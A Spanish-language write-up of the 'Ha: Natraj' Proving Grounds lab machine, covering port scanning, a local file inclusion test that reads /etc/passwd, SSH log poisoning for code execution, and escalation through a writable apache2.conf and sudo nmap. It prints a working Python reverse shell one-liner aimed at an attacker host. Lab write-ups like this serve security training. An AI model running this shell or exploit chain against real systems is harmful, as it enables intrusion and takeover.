> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/ha-natraj.md).
# Ha-Natraj
### Enumeración
#### NMAP
Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.
```
nmap -p- --open -vvv -Pn -n --min-rate 2000 192.168.87.80
```
Están abiertos los puertos 22 y 80. A continuación, realizamos un escaneo más riguroso de estos puertos abiertos.
```
nmap -p22,80 -sVC -vv 192.168.87.80 -oN targeted
```
Existen 2 puertos abiertos en el equipo target.
* Puerto 22 -> SSH -> OpenSSH 7.6
* Puerto 80 -> HTTP -> Apache httpd 2.4.29
#### Enumeración Web
Comenzamos visitando el servicio Web, donde hemos encontrado imagenes e información sobre el Natraj, vamos a comprobar el código fuente y el archivo robots.txt, donde no hay nada útil.
Vamos a continuar realizando una enumeración de directorios con la herramienta dirsearch.
```
dirsearch -u "http://192.168.87.80" -i200,301 -r
```
Hemos encontrado un directorio llamado /console que contiene un archivo llamado file.php.
Si lo ejecutamos, no hace nada. Probablemente tengamos que añadir algo más.
Vamos a utilizar el nombre de archivo en una variable "GET" para intentar hacer una prueba de concepto que nos permita verificar si el sitio era vulnerable a la inclusión de archivos locales (LFI).
```
curl http://192.168.87.80/console/file.php?file=/etc/passwd
```
Encontramos los nombres de usuario natraj y mahakal.
Es vulnerable a LFI.
### Explotación
Probamos varias opciones de enumeración, entre ellas la enumeración de archivos a los que podemos acceder. Para ello, vamos a utilizar la herramienta Intruder de Burp. Después de unos instantes, obtenemos un resultado que puede ser interesante. Podemos acceder al archiv /var/log/auth.log
Sabiendo esto, vamos a intentar realizar un ataque de envenenamiento de logs a través de SSH. El envenenamiento de logs es una técnica que podemos utilizar para obtener un shell inverso en un servidor.
Para realizar este ataque comenzamos enviando código malicioso PHP a través del uso de SSH para que este sea registrado en el archivo auth.log.
Comprobamos si la inyección maliciosa ha sido exitosa.
Ya podemos ejecutar comandos en la máquina objetivo (RCE).
Vamos a ejecutar una shell inversa en la máquina objetivo y a colocar un oyente con netcat en el puerto 80.
La shell utilizada es la siguiente:
```
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.90",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
```
Si utilizamos Burp, debemos codificar la shell como URL para que funcione. Si utilizamos el navegador para enviar la shell, se puede colocar directamente.
Hacemos la terminal genera más interactiva de la siguiente manera:
```
python3 -c 'import pty;pty.spawn("/bin/bash");'
```
Ya tenemos acceso a la máquina objetivo. Comprobamos si podemos ejecutar sudo y enumeramos los binarios SUID.
```
sudo -l
```
sudo -l
Podemos ejecutar comandos relacionados con el servidor Apache.
Vamos a buscar binarios con el flag SUID activo que podaos utilizar para elevar privilegios.
```
find / -perm -4000 2>/dev/null
```
No hay nada interesante. Vamos a buscar todos los archivos de escritura en el directorio.
Encontramos un archivo interesante, apache2.conf, que tiene permiso completo de lectura y escritura para cualquier usuario y grupo.
### Escalada de privilegios
Para escalar privilegios a otros usuarios cambiando el nombre de usuario y grupo de apache2.conf. El primer paso será agregar el nombre de usuario y nombre de grupo. Para ello descargamos el fichero en nuestra máquina de ataque.
Creamos un servidor HTTP con Python en la máquina víctima.
Y en la máquina de ataque ejecutamos.
Ahora realizamos en este archivo las modificaciones comentadas anteriormente.
Ahora para volver a subir el archivo a la máquina objetivo volvemos a levantar un servidor HTTP con Python pero ahora el servidor lo levantamos en la máquina de ataque. El archivo debemos colocarlo en el directorio /tmp y desde aquí lo copiamos a /etc/apache2/.
Servidor en la máquina de ataque
Enviando el archivo apache2.conf modificado al objetivo
Una vez hemos transferido el archivo apache2.conf, procedemos a reiniciar el servidor Apache.
Después de un instante que necesita el servicio para reiniciar, volvemos a lanzar la shell inversa en el puerto 80 de la misma forma que lo hicimos anteriormente. Y volvemos a tener conexión con el objetivo.
Ahora tenemos conexión en el objetivo como usuario "mahakal". Volvemos a realizar distintas enumeraciones para ver como podemos elevar privilegios.
El usuario "mahakal" puede ejecutar el comando nmap como usuario root. Vamos a determinar si podemos utilziar esto para escalar a usuario "root". Para ello, consultamos ["GTFOBins"](https://gtfobins.github.io/gtfobins/nmap/#sudo)
Solo queda buscar ambas flags para completar el CTF Ha: Natraj.